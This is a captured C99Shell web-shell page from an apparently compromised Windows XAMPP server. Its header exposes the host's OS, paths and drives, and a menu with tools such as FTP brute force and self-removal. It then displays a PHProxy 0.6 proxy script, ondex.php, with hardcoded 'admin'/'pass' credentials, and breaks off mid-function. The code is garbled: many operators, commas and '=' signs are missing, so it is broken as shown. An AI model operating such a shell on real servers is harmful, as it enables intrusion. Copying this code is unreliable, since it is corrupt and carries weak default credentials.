!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\contrib\   drwxrwxrwx
Free 7.98 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ondex.php (40.19 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
   +-----------------+------------------------------------------------------------+
   |  Script         | PHProxy v0.6 2010                                          |
   |  Authors        | Abdullah Arif  &  Ali.Dbg                                  |
   |  Last Modified  | by Ali.Dbg at August 2010                                    |
   |  Site           | http://phpr0xi.sourceforge.net                             |
   +-----------------+------------------------------------------------------------+
*/
error_reporting(E_ALL);
//------------------------------
//login protector = Disable
//enable = 1
$Login 0;

if (
$Login){

$valid_passwords = array
(
'admin' => 'pass',
'user' => 'pass',

);
$valid_users array_keys($valid_passwords);
$user = isset ($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
$pass = isset ($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
$validated = (in_array($user$valid_users)) && ($pass == $valid_passwords[$user]);
if (!
$validated) {header('WWW-Authenticate: Basic realm="My Realm"');header('HTTP/1.0 401 Unauthorized');die ('Not authorized');}}
//-------------------------------------------------------------------------

$_config            = array
                    (
                        
'url_var_name'             => 'q',
                        
'basic_auth_var_name'      => '____pbavn',
                        
'max_file_size'            => -1,
                        
'allow_hotlinking'         => 0,
                        
'upon_hotlink'             => 1,
                        
'compress_output'          => 0
                    
);          
$_hosts             = array ('#^127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|localhost#i');
$_hotlink_domains   = array();
$_insert            = array();
$_iflags            '';
$_system            = array (
                        
'ssl'          => extension_loaded('openssl') && version_compare(PHP_VERSION'4.3.0''>='),
                        
'uploads'      => ini_get('file_uploads'),
                        
'gzip'         => extension_loaded('zlib') && !ini_get('zlib.output_compression'),
                        
'stripslashes' => get_magic_quotes_gpc()
                            );
$_proxify           = array('text/html' => 1'application/xml+xhtml' => 1'application/xhtml+xml' => 1'text/css' => 1);
$_version           '0.6';
$_http_host         = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$_script_url        'http' . ((isset($_ENV['HTTPS']) && $_ENV['HTTPS'] == 'on') || $_SERVER['SERVER_PORT'] == 443 's' '') . '://' $_http_host . ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443 ':' $_SERVER['SERVER_PORT'] : '') . $_SERVER['PHP_SELF'];
$_script_base       substr($_script_url0strrpos($_script_url'/')+1);
$_url               '';
$__url                '';
$POST                 '';
$_url_parts         = array();
$_base              = array();
$_socket            null;
$_request_method    $_SERVER['REQUEST_METHOD'];
$_request_headers   '';
$_cookie            '';
$_post_body         '';
$_response_headers  = array();
$_response_keys     = array();  
$_http_version      '';
$_response_code     0;
$_content_type      'text/html';
$_content_length    false;
$_content_disp      '';
$_set_cookie        = array();
$_retry             false;
$_quit              false;
$_basic_auth_header '';
$_basic_auth_realm  '';
$_auth_creds        = array();
$_response_body     '';

//
// FUNCTION DECLARATIONS
//

function show_report($data)
{    
    include 
$data['which'] . '.inc.php';
    exit(
0);
}

function 
add_cookie($name$value$expires 0)
{
    return 
rawurlencode(rawurlencode($name)) . '=' rawurlencode(rawurlencode($value)) . (empty($expires) ? '' '; expires=' gmdate('D, d-M-Y H:i:s \G\M\T'$expires)) . '; path=/; domain=.' $GLOBALS['_http_host'];
}

function 
set_post_vars($array$parent_key null)
{
    
$temp = array();

    foreach (
$array as $key => $value)
    {
        
$key = isset($parent_key) ? sprintf('%s[%s]'$parent_keyurlencode($key)) : urlencode($key);
        if (
is_array($value))
        {
            
$temp array_merge($tempset_post_vars($value$key));
        }
        else
        {
            
$temp[$key] = urlencode($value);
        }
    }
    
    return 
$temp;
}

function 
set_post_files($array$parent_key null)
{
    
$temp = array();

    foreach (
$array as $key => $value)
    {
        
$key = isset($parent_key) ? sprintf('%s[%s]'$parent_keyurlencode($key)) : urlencode($key);
        if (
is_array($value))
        {
            
$temp array_merge_recursive($tempset_post_files($value$key));
        }
        else if (
preg_match('#^([^\[\]]+)\[(name|type|tmp_name)\]#'$key$m))
        {
            
$temp[str_replace($m[0], $m[1], $key)][$m[2]] = $value;
        }
    }

    return 
$temp;
}

function 
url_parse($url, & $container)
{
    
$temp = @parse_url($url);

    if (!empty(
$temp))
    {
        
$temp['port_ext'] = '';
        
$temp['base']     = $temp['scheme'] . '://' $temp['host'];

        if (isset(
$temp['port']))
        {
            
$temp['base'] .= $temp['port_ext'] = ':' $temp['port'];
        }
        else
        {
            
$temp['port'] = $temp['scheme'] === 'https' 443 80;
        }
        
        
$temp['path'] = isset($temp['path']) ? $temp['path'] : '/';
        
$path         = array();
        
$temp['path'] = explode('/'$temp['path']);
    
        foreach (
$temp['path'] as $dir)
        {
            if (
$dir === '..')
            {
                
array_pop($path);
            }
            else if (
$dir !== '.')
            {
                for (
$dir rawurldecode($dir), $new_dir ''$i 0$count_i strlen($dir); $i $count_i$new_dir .= strspn($dir{$i}, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*\'(),?:@&;=') ? $dir{$i} : rawurlencode($dir{$i}), ++$i);
                
$path[] = $new_dir;
            }
        }

        
$temp['path']     = str_replace('/%7E''/~''/' ltrim(implode('/'$path), '/'));
        
$temp['file']     = substr($temp['path'], strrpos($temp['path'], '/')+1);
        
$temp['dir']      = substr($temp['path'], 0strrpos($temp['path'], '/'));
        
$temp['base']    .= $temp['dir'];
        
$temp['prev_dir'] = substr_count($temp['path'], '/') > substr($temp['base'], 0strrpos($temp['base'], '/')+1) : $temp['base'] . '/';
        
$container $temp;

        return 
true;
    }
    
    return 
false;
}

function 
complete_url($url$proxify true)
{
    
$url trim($url);
    
    if (
$url === '')
    {
        return 
'';
    }
    
    
$hash_pos strrpos($url'#');
    
$fragment $hash_pos !== false '#' substr($url$hash_pos) : '';
    
$sep_pos  strpos($url'://');
    
    if (
$sep_pos === false || $sep_pos 5)
    {
        switch (
$url{0})
        {
            case 
'/':
                
$url substr($url02) === '//' $GLOBALS['_base']['scheme'] . ':' $url $GLOBALS['_base']['scheme'] . '://' $GLOBALS['_base']['host'] . $GLOBALS['_base']['port_ext'] . $url;
                break;
            case 
'?':
                
$url $GLOBALS['_base']['base'] . '/' $GLOBALS['_base']['file'] . $url;
                break;
            case 
'#':
                
$proxify false;
                break;
            case 
'm':
                if (
substr($url07) == 'mailto:')
                {
                    
$proxify false;
                    break;
                }
            default:
                
$url $GLOBALS['_base']['base'] . '/' $url;
        }
    }

    return 
$proxify "{$GLOBALS['_script_url']}?{$GLOBALS['_config']['url_var_name']}=" encode_url($url) . $fragment $url;
}

function 
proxify_inline_css($css)
{
    
preg_match_all('#url\s*\(\s*(([^)]*(\\\))*[^)]*)(\)|$)?#i'$css$matchesPREG_SET_ORDER);

    for (
$i 0$count count($matches); $i $count; ++$i)
    {
        
$css str_replace($matches[$i][0], 'url(' proxify_css_url($matches[$i][1]) . ')'$css);
    }
    
    return 
$css;
}

function 
proxify_css($css)
{
    
$css proxify_inline_css($css);

    
preg_match_all("#@import\s*(?:\"([^\">]*)\"?|'([^'>]*)'?)([^;]*)(;|$)#i"$css$matchesPREG_SET_ORDER);

    for (
$i 0$count count($matches); $i $count; ++$i)
    {
        
$delim '"';
        
$url   $matches[$i][2];

        if (isset(
$matches[$i][3]))
        {
            
$delim "'";
            
$url $matches[$i][3];
        }

        
$css str_replace($matches[$i][0], '@import ' $delim proxify_css_url($matches[$i][1]) . $delim . (isset($matches[$i][4]) ? $matches[$i][4] : ''), $css);
    }

    return 
$css;
}

function 
proxify_css_url($url)
{
    
$url   trim($url);
    
$delim strpos($url'"') === '"' : (strpos($url"'") === "'" '');

    return 
$delim preg_replace('#([\(\),\s\'"\\\])#''\\$1'complete_url(trim(preg_replace('#\\\(.)#''$1'trim($url$delim))))) . $delim;
}

//
// DETERMINE URL-ENCODING BASED ON FLAGS .
//

    
function encode_url($url)
    {
        return 
rawurlencode(R0T13(base64_encode(trim($url))));
    }
    function 
decode_url($url)
    {
        return 
str_replace(array('&amp;''&#38;'), '&'base64_decode(R0T13(rawurldecode($url))));
    }

    function 
R0T13($str)
    {
    
$alpha1 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba';
    
$alpha2 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';
    
//
    
$newStr '';
    
$curLet '';
    
$curLetLoc '';

    for (
$i 0$i strlen($str); $i++)
    {
        
$curLet    $str[$i];
        
$curLetLoc strpos ($alpha1$curLet);
        
$newStr .= ($curLetLoc === false) ? $curLet $alpha2[$curLetLoc];
    }
    return 
$newStr;
    }
// COMPRESS OUTPUT IF INSTRUCTED
//

if ($_config['compress_output'] && $_system['gzip'])
{
    
ob_start('ob_gzhandler');
}

//
// STRIP SLASHES FROM GPC IF NECESSARY
//

if ($_system['stripslashes'])
{
    function 
_stripslashes($value)
    {
        return 
is_array($value) ? array_map('_stripslashes'$value) : (is_string($value) ? stripslashes($value) : $value);
    }
    
    
$_GET    _stripslashes($_GET);
    
$_POST   _stripslashes($_POST);
    
$_COOKIE _stripslashes($_COOKIE);
}

//
// FIGURE OUT WHAT TO DO (POST URL-form submit, regular request, basic auth, cookie manager, show URL-form)
//

// Convert back to GET method if required $_POST['P0ST2GET']
if (isset($_POST[$_config['url_var_name']]) && !isset($_GET[$_config['url_var_name']]))
{
    
header('Location: ' $_script_url '?' $_config['url_var_name'] . '=' encode_url($_POST[$_config['url_var_name']]));
    exit(
0);
}
elseif (isset(
$_GET[$_config['url_var_name']]) && isset ($_POST['P0ST2GET']))
{
    
$GET '';
    
$_url decode_url($_GET[$_config['url_var_name']]);
    foreach (
$_POST as $key => $value) {$GET .= '&' $key '=' $value;}
    
$_url .= '?' str_replace('&P0ST2GET=1&'''$GET);
    
    
header('Location: ' $_script_url '?' $_config['url_var_name'] . '=' encode_url($_url));
    exit(
0);
}
elseif (isset(
$_GET[$_config['url_var_name']]))
{
    
$__url decode_url($_GET[$_config['url_var_name']]);
    if(
strstr($__url'isP0ST') == True)
    
$_url =  strstr($__url'?isP0ST'true);
    else
    
$_url $__url;
}

elseif (isset(
$_GET['action']) && $_GET['action'] == 'cookies')
{
    
show_report(array('which' => 'cookies'));
}
else
{
  
show_report(array('which' => 'index''category' => 'entry_form'));
}

if (isset(
$_GET[$_config['url_var_name']], $_POST[$_config['basic_auth_var_name']], $_POST['username'], $_POST['password']))
{
    
$_request_method    'GET';
    
$_basic_auth_realm  base64_decode($_POST[$_config['basic_auth_var_name']]);
    
$_basic_auth_header base64_encode($_POST['username'] . ':' $_POST['password']);
}

//
// SET URL
//

if (strpos($_url'://') === false)
{
    
$_url 'http://' $_url;
}

if (
url_parse($_url$_url_parts))
{
    
$_base $_url_parts;
    
    if (!empty(
$_hosts))
    {
        foreach (
$_hosts as $host)
        {
            if (
preg_match($host$_url_parts['host']))
            {
                
show_report(array('which' => 'index''category' => 'error''group' => 'url''type' => 'external''error' => 1));
            }
        }
    }
}
else
{
    
show_report(array('which' => 'index''category' => 'error''group' => 'url''type' => 'external''error' => 2));
}

//
// HOTLINKING PREVENTION
//

if (!$_config['allow_hotlinking'] && isset($_SERVER['HTTP_REFERER']))
{
    
$_hotlink_domains[] = $_http_host;
    
$is_hotlinking      true;
    
    foreach (
$_hotlink_domains as $host)
    {
        if (
preg_match('#^https?\:\/\/(www)?\Q' $host  '\E(\/|\:|$)#i'trim($_SERVER['HTTP_REFERER'])))
        {
            
$is_hotlinking false;
            break;
        }
    }
    
    if (
$is_hotlinking)
    {
        switch (
$_config['upon_hotlink'])
        {
            case 
1:
                
show_report(array('which' => 'index''category' => 'error''group' => 'resource''type' => 'hotlinking'));
                break;
            case 
2:
                
header('HTTP/1.0 404 Not Found');
                exit(
0);
            default:
                
header('Location: ' $_config['upon_hotlink']);
                exit(
0);
        }
    }
}
 
//
// OPEN SOCKET TO SERVER
//

do
{
    
$_retry  false;
    
$_socket = @fsockopen(($_url_parts['scheme'] === 'https' && $_system['ssl'] ? 'ssl://' 'tcp://') . $_url_parts['host'], $_url_parts['port'], $err_no$err_str30);

    if (
$_socket === false)
    {
        
show_report(array('which' => 'index''category' => 'error''group' => 'url''type' => 'internal''error' => $err_no));
    }

    
//
    // SET REQUEST HEADERS
    //

    
if(!empty ($__url) && strstr($__url'isP0ST') == True$_request_method 'POST';

    
$_request_headers  $_request_method ' ' $_url_parts['path'];

    if (isset(
$_url_parts['query']))
    {
        
$_request_headers .= '?';
        
$query preg_split('#([&;])#'$_url_parts['query'], -1PREG_SPLIT_DELIM_CAPTURE);
        for (
$i 0$count count($query); $i $count$_request_headers .= implode('='array_map('urlencode'array_map('urldecode'explode('='$query[$i])))) . (isset($query[++$i]) ? $query[$i] : ''), $i++);
    }

    
$_request_headers .= " HTTP/1.0\r\n";
    
$_request_headers .= 'Host: ' $_url_parts['host'] . $_url_parts['port_ext'] . "\r\n";

    if (isset(
$_SERVER['HTTP_USER_AGENT']))
    {
        
$_request_headers .= 'User-Agent: ' $_SERVER['HTTP_USER_AGENT'] . "\r\n";
    }
    if (isset(
$_SERVER['HTTP_ACCEPT']))
    {
        
$_request_headers .= 'Accept: ' $_SERVER['HTTP_ACCEPT'] . "\r\n";
    }
    else
    {
        
$_request_headers .= "Accept: */*;q=0.1\r\n";
    }
    
    if ( isset(
$_SERVER['HTTP_ACCEPT_LANGUAGE']) ) 
    {
        
$_request_headers .= 'Accept-Language: ' $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "\r\n";
    }
    if (isset(
$_SERVER['HTTP_ACCEPT_CHARSET'])) 
    {
        
$_request_headers .= 'Accept-Charset: ' $_SERVER['HTTP_ACCEPT_CHARSET'] . "\r\n";
    }
    if (isset(
$_SERVER['HTTP_REFERER']) && preg_match('#^\Q' $_script_url '?' $_config['url_var_name'] . '=\E([^&]+)#'$_SERVER['HTTP_REFERER'], $matches))
    {
        if(
strstr(decode_url($matches[1]), 'isP0ST') == True)
        
$_request_headers .= 'Referer: ' strstr(decode_url($matches[1]), '?isP0ST'true) . "\r\n"
        else
        
$_request_headers .= 'Referer: ' decode_url($matches[1]) . "\r\n";
    }
    if (!empty(
$_COOKIE))
    {
        
$_cookie  '';
        
$_auth_creds    = array();
    
        foreach (
$_COOKIE as $cookie_id => $cookie_content)
        {
            
$cookie_id      explode(';'rawurldecode($cookie_id));
            
$cookie_content explode(';'rawurldecode($cookie_content));
    
            if (
$cookie_id[0] === 'COOKIE')
            {
                
$cookie_id[3] = str_replace('_''.'$cookie_id[3]); //stupid PHP can't have dots in var names

                
if (count($cookie_id) < || ($cookie_content[1] == 'secure' && $_url_parts['scheme'] != 'https'))
                {
                    continue;
                }
    
                if ((
preg_match('#\Q' $cookie_id[3] . '\E$#i'$_url_parts['host']) || strtolower($cookie_id[3]) == strtolower('.' $_url_parts['host'])) && preg_match('#^\Q' $cookie_id[2] . '\E#'$_url_parts['path']))
                {
                    
$_cookie .= ($_cookie != '' '; ' '') . (empty($cookie_id[1]) ? '' $cookie_id[1] . '=') . $cookie_content[0];
                }
            }
            else if (
$cookie_id[0] === 'AUTH' && count($cookie_id) === 3)
            {
                
$cookie_id[2] = str_replace('_''.'$cookie_id[2]);

                if (
$_url_parts['host'] . ':' $_url_parts['port'] === $cookie_id[2])
                {
                    
$_auth_creds[$cookie_id[1]] = $cookie_content[0];
                }
            }
        }
        
        if (
$_cookie != '')
        {
            
$_request_headers .= "Cookie: $_cookie\r\n";
        }
    }
    if (isset(
$_url_parts['user'], $_url_parts['pass']))
    {
        
$_basic_auth_header base64_encode($_url_parts['user'] . ':' $_url_parts['pass']);
    }
    if (!empty(
$_basic_auth_header))
    {
        
$_set_cookie[] = add_cookie("AUTH;{$_basic_auth_realm};{$_url_parts['host']}:{$_url_parts['port']}"$_basic_auth_header);
        
$_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n";
    }
    else if (!empty(
$_basic_auth_realm) && isset($_auth_creds[$_basic_auth_realm]))
    {
        
$_request_headers  .= "Authorization: Basic {$_auth_creds[$_basic_auth_realm]}\r\n";
    }
    else if (list(
$_basic_auth_realm$_basic_auth_header) = each($_auth_creds))
    {
        
$_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n";
    }
    
    if (
$_request_method == 'POST')
    {   
        if (!empty(
$_FILES) && $_system['uploads'])
        {
            
$_data_boundary '----' md5(uniqid(rand(), true));
            
$array set_post_vars($_POST);
    
            foreach (
$array as $key => $value)
            {
                
$_post_body .= "--{$_data_boundary}\r\n";
                
$_post_body .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
                
$_post_body .= urldecode($value) . "\r\n";
            }
            
            
$array set_post_files($_FILES);
    
            foreach (
$array as $key => $file_info)
            {
                
$_post_body .= "--{$_data_boundary}\r\n";
                
$_post_body .= "Content-Disposition: form-data; name=\"$key\"; filename=\"{$file_info['name']}\"\r\n";
                
$_post_body .= 'Content-Type: ' . (empty($file_info['type']) ? 'application/octet-stream' $file_info['type']) . "\r\n\r\n";
    
                if (
is_readable($file_info['tmp_name']))
                {
                    
$handle fopen($file_info['tmp_name'], 'rb');
                    
$_post_body .= fread($handlefilesize($file_info['tmp_name']));
                    
fclose($handle);
                }
                
                
$_post_body .= "\r\n";
            }
            
            
$_post_body       .= "--{$_data_boundary}--\r\n";
            
$_request_headers .= "Content-Type: multipart/form-data; boundary={$_data_boundary}\r\n";
            
$_request_headers .= "Content-Length: " strlen($_post_body) . "\r\n\r\n";
            
$_request_headers .= $_post_body;
        }
        elseif(!empty (
$__url) && strstr($__url'isP0ST') == True)
        {
            
            
$POST str_ireplace ('?isP0ST=1&','',strstr($__url'?isP0ST'));
            
$_request_headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
            
$_request_headers .= "Content-Length: " strlen($POST) . "\r\n\r\n";
            
$_request_headers .= $POST;
            
$_request_headers .= "\r\n";
            
        }
        else
        {
            
$array set_post_vars($_POST);
            
            foreach (
$array as $key => $value)
            {
                
$POST .= !empty($POST) ? '&' '';
                
$POST .= $key '=' $value;
            }

            
$_request_headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
            
$_request_headers .= "Content-Length: " strlen($POST) . "\r\n\r\n";
            
$_request_headers .= $POST;
            
$_request_headers .= "\r\n";
        }
        
$_post_body '';
    }
    else
    {
        
$_request_headers .= "\r\n";
    }

    
fwrite($_socket$_request_headers);
    
    
//
    // PROCESS RESPONSE HEADERS
    //
    
    
$_response_headers $_response_keys = array();
    
    
$line fgets($_socket8192);
    
    while (
strspn($line"\r\n") !== strlen($line))
    {
        @list(
$name$value) = explode(':'$line2);
        
$name trim($name);
        
$_response_headers[strtolower($name)][] = trim($value);
        
$_response_keys[strtolower($name)] = $name;
        
$line fgets($_socket8192);
    }
    
    
sscanf(current($_response_keys), '%s %s'$_http_version$_response_code);
    
    if (isset(
$_response_headers['content-type']))
    {
        list(
$_content_type, ) = explode(';'str_replace(' '''strtolower($_response_headers['content-type'][0])), 2);
    }
    if (isset(
$_response_headers['content-length']))
    {
        
$_content_length $_response_headers['content-length'][0];
        unset(
$_response_headers['content-length'], $_response_keys['content-length']);
    }
    if (isset(
$_response_headers['content-disposition']))
    {
        
$_content_disp $_response_headers['content-disposition'][0];
        unset(
$_response_headers['content-disposition'], $_response_keys['content-disposition']);
    }
    if (isset(
$_response_headers['set-cookie']))
    {
        foreach (
$_response_headers['set-cookie'] as $cookie)
        {
            
$name $value $expires $path $domain $secure $expires_time '';

            
preg_match('#^\s*([^=;,\s]*)\s*=?\s*([^;]*)#',  $cookie$match) && list(, $name$value) = $match;
            
preg_match('#;\s*expires\s*=\s*([^;]*)#i',      $cookie$match) && list(, $expires)      = $match;
            
preg_match('#;\s*path\s*=\s*([^;,\s]*)#i',      $cookie$match) && list(, $path)         = $match;
            
preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i',    $cookie$match) && list(, $domain)       = $match;
            
preg_match('#;\s*(secure\b)#i',                 $cookie$match) && list(, $secure)       = $match;
    
            
$expires_time = empty($expires) ? intval(@strtotime($expires));
            
$expires = (!empty($expires) && time()-$expires_time 0) ? '' $expires;
            
$path    = empty($path)   ? '/' $path;
                
            if (empty(
$domain))
            {
                
$domain $_url_parts['host'];
            }
            else
            {
                
$domain '.' strtolower(str_replace('..''.'trim($domain'.')));
    
                if ((!
preg_match('#\Q' $domain '\E$#i'$_url_parts['host']) && $domain != '.' $_url_parts['host']) || (substr_count($domain'.') < && $domain{0} == '.'))
                {
                    continue;
                }
            }
            if (
count($_COOKIE) >= 15 && time()-$expires_time <= 0)
            {
                
$_set_cookie[] = add_cookie(current($_COOKIE), ''1);
            }
            
            
$_set_cookie[] = add_cookie("COOKIE;$name;$path;$domain""$value;$secure"$expires_time);
        }
    }
    if (isset(
$_response_headers['set-cookie']))
    {
        unset(
$_response_headers['set-cookie'], $_response_keys['set-cookie']);
    }
    if (!empty(
$_set_cookie))
    {
        
$_response_keys['set-cookie'] = 'Set-Cookie';
        
$_response_headers['set-cookie'] = $_set_cookie;
    }
    if (isset(
$_response_headers['p3p']) && preg_match('#policyref\s*=\s*[\'"]?([^\'"\s]*)[\'"]?#i'$_response_headers['p3p'][0], $matches))
    {
        
$_response_headers['p3p'][0] = str_replace($matches[0], 'policyref="' complete_url($matches[1]) . '"'$_response_headers['p3p'][0]);
    }
    if (isset(
$_response_headers['refresh']) && preg_match('#([0-9\s]*;\s*URL\s*=)\s*(\S*)#i'$_response_headers['refresh'][0], $matches))
    {
        
$_response_headers['refresh'][0] = $matches[1] . complete_url($matches[2]);
    }
    if (isset(
$_response_headers['location']))
    {   
        
$_response_headers['location'][0] = complete_url($_response_headers['location'][0]);
    }
    if (isset(
$_response_headers['uri']))
    {   
        
$_response_headers['uri'][0] = complete_url($_response_headers['uri'][0]);
    }
    if (isset(
$_response_headers['content-location']))
    {   
        
$_response_headers['content-location'][0] = complete_url($_response_headers['content-location'][0]);
    }
    if (isset(
$_response_headers['connection']))
    {
        unset(
$_response_headers['connection'], $_response_keys['connection']);
    }
    if (isset(
$_response_headers['keep-alive']))
    {
        unset(
$_response_headers['keep-alive'], $_response_keys['keep-alive']);
    }
    if (
$_response_code == 401 && isset($_response_headers['www-authenticate']) && preg_match('#basic\s+(?:realm="(.*?)")?#i'$_response_headers['www-authenticate'][0], $matches))
    {
        if (isset(
$_auth_creds[$matches[1]]) && !$_quit)
        {
            
$_basic_auth_realm  $matches[1];
            
$_basic_auth_header '';
            
$_retry $_quit true;
        }
        else
        {
            
show_report(array('which' => 'index''category' => 'auth''realm' => $matches[1]));
        }
    }
}
while (
$_retry);

//
// OUTPUT RESPONSE IF NO PROXIFICATION IS NEEDED
//  

if (!isset($_proxify[$_content_type]))
{
    @
set_time_limit(0);
   
    
$_response_keys['content-disposition'] = 'Content-Disposition';
    
$_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' 'attachment' 'inline') . '; filename="' $_url_parts['file'] . '"' $_content_disp;
    
    if (
$_content_length !== false)
    {
        if (
$_config['max_file_size'] != -&& $_content_length $_config['max_file_size'])
        {
            
show_report(array('which' => 'index''category' => 'error''group' => 'resource''type' => 'file_size'));
        }
        
        
$_response_keys['content-length'] = 'Content-Length';
        
$_response_headers['content-length'][0] = $_content_length;
    }
    
    
$_response_headers   array_filter($_response_headers);
    
$_response_keys      array_filter($_response_keys);
    
    
header(array_shift($_response_keys));
    
array_shift($_response_headers);
    
    foreach (
$_response_headers as $name => $array)
    {
        foreach (
$array as $value)
        {
            
header($_response_keys[$name] . ': ' $valuefalse);
        }
    }
        
    do
    {
        
$data fread($_socket8192);
        echo 
$data;
    }
    while (isset(
$data{0}));
        
    
fclose($_socket);
    exit(
0);
}

do
{
    
$data = @fread($_socket8192); // silenced to avoid the "normal" warning by a faulty SSL connection
    
$_response_body .= $data;
}   
while (isset(
$data{0}));
   
unset(
$data);
fclose($_socket);

//
// MODIFY AND DUMP RESOURCE
//

if ($_content_type == 'text/css')
{
    
$_response_body proxify_css($_response_body);
}
else
{
    
    
//
    // PROXIFY HTML RESOURCE
    //
    
    
$tags = array
    (
        
'a'          => array('href'),
        
'img'        => array('src''longdesc'),
        
'image'      => array('src''longdesc'),
        
'body'       => array('background'),
        
'base'       => array('href'),
        
'frame'      => array('src''longdesc'),
        
'iframe'     => array('src''longdesc'),
        
'head'       => array('profile'),
        
'layer'      => array('src'),
        
'input'      => array('src''usemap'),
        
'form'       => array('action'),
        
'area'       => array('href'),
        
'link'       => array('href''src''urn'),
        
'meta'       => array('content'),
        
'param'      => array('value'),
        
'applet'     => array('codebase''code''object''archive'),
        
'object'     => array('usermap''codebase''classid''archive''data'),
        
'script'     => array('src'),
        
'select'     => array('src'),
        
'hr'         => array('src'),
        
'table'      => array('background'),
        
'tr'         => array('background'),
        
'th'         => array('background'),
        
'td'         => array('background'),
        
'bgsound'    => array('src'),
        
'blockquote' => array('cite'),
        
'del'        => array('cite'),
        
'embed'      => array('src'),
        
'fig'        => array('src''imagemap'),
        
'ilayer'     => array('src'),
        
'ins'        => array('cite'),
        
'note'       => array('src'),
        
'overlay'    => array('src''imagemap'),
        
'q'          => array('cite'),
        
'ul'         => array('src')
    );

    
preg_match_all('#(<\s*style[^>]*>)(.*?)(<\s*/\s*style[^>]*>)#is'$_response_body$matchesPREG_SET_ORDER);

    for (
$i 0$count_i count($matches); $i $count_i; ++$i)
    {
        
$_response_body str_replace($matches[$i][0], $matches[$i][1]. proxify_css($matches[$i][2]) .$matches[$i][3], $_response_body);
    }

    
preg_match_all("#<\s*([a-zA-Z\?-]+)([^>]+)>#S"$_response_body$matches);

    for (
$i 0$count_i count($matches[0]); $i $count_i; ++$i)
    {
        if (!
preg_match_all("#([a-zA-Z\-\/]+)\s*(?:=\s*(?:\"([^\">]*)\"?|'([^'>]*)'?|([^'\"\s]*)))?#S"$matches[2][$i], $mPREG_SET_ORDER))
        {
            continue;
        }
        
        
$rebuild    false;
        
$extra_html $temp '';
        
$attrs      = array();

        for (
$j 0$count_j count($m); $j $count_j$attrs[strtolower($m[$j][1])] = (isset($m[$j][4]) ? $m[$j][4] : (isset($m[$j][3]) ? $m[$j][3] : (isset($m[$j][2]) ? $m[$j][2] : false))), ++$j);
        
        if (isset(
$attrs['style']))
        {
            
$rebuild true;
            
$attrs['style'] = proxify_inline_css($attrs['style']);
        }
        
        
$tag strtolower($matches[1][$i]);

        if (isset(
$tags[$tag]))
        {
            switch (
$tag)
            {
                case 
'a':
                    if (isset(
$attrs['href']))
                    {
                        
$rebuild true;
                        
$attrs['href'] = complete_url($attrs['href']);
                    }
                    break;
                case 
'img':
                    if (isset(
$attrs['src']))
                    {
                        
$rebuild true;
                        
$attrs['src'] = complete_url($attrs['src']);
                    }
                    if (isset(
$attrs['longdesc']))
                    {
                        
$rebuild true;
                        
$attrs['longdesc'] = complete_url($attrs['longdesc']);
                    }
                    break;
                    
                case 
'form':
                        
$rebuild true;
                        if (!isset(
$attrs['action']) || trim($attrs['action']) === '')
                        {
                            
$attrs['action'] = $_url_parts['path'];
                        }
                        if (!isset(
$attrs['method']) || trim($attrs['method']) === '' || strtolower(trim($attrs['method'])) === 'get')
                        {
                            
$attrs['method'] = 'POST';
                            
$extra_html '<input type="hidden" name="P0ST2GET" value="1">';
                        }
                        
$attrs['action'] = complete_url($attrs['action']);   
                    break;
                case 
'base':
                    if (isset(
$attrs['href']))
                    {
                        
$rebuild true;  
                        
url_parse($attrs['href'], $_base);
                        
$attrs['href'] = complete_url($attrs['href']);
                    }
                    break;
                case 
'meta':
                    if (isset(
$attrs['http-equiv'], $attrs['content']) && preg_match('#\s*refresh\s*#i'$attrs['http-equiv']))
                    {
                        if (
preg_match('#^(\s*[0-9]*\s*;\s*url=)(.*)#i'$attrs['content'], $content))
                        {                 
                            
$rebuild true;
                            
$attrs['content'] =  $content[1] . complete_url(trim($content[2], '"\''));
                        }
                    }
                    break;
                case 
'head':
                    if (isset(
$attrs['profile']))
                    {
                        
$rebuild true;
                        
$attrs['profile'] = implode(' 'array_map('complete_url'explode(' '$attrs['profile'])));
                    }
                    break;
                case 
'applet':
                    if (isset(
$attrs['codebase']))
                    {
                        
$rebuild true;
                        
$temp $_base;
                        
url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/'false), $_base);
                        unset(
$attrs['codebase']);
                    }
                    if (isset(
$attrs['code']) && strpos($attrs['code'], '/') !== false)
                    {
                        
$rebuild true;
                        
$attrs['code'] = complete_url($attrs['code']);
                    }
                    if (isset(
$attrs['object']))
                    {
                        
$rebuild true;
                        
$attrs['object'] = complete_url($attrs['object']);
                    }
                    if (isset(
$attrs['archive']))
                    {
                        
$rebuild true;
                        
$attrs['archive'] = implode(','array_map('complete_url'preg_split('#\s*,\s*#'$attrs['archive'])));
                    }
                    if (!empty(
$temp))
                    {
                        
$_base $temp;
                    }
                    break;
                case 
'object':
                    if (isset(
$attrs['usemap']))
                    {
                        
$rebuild true;
                        
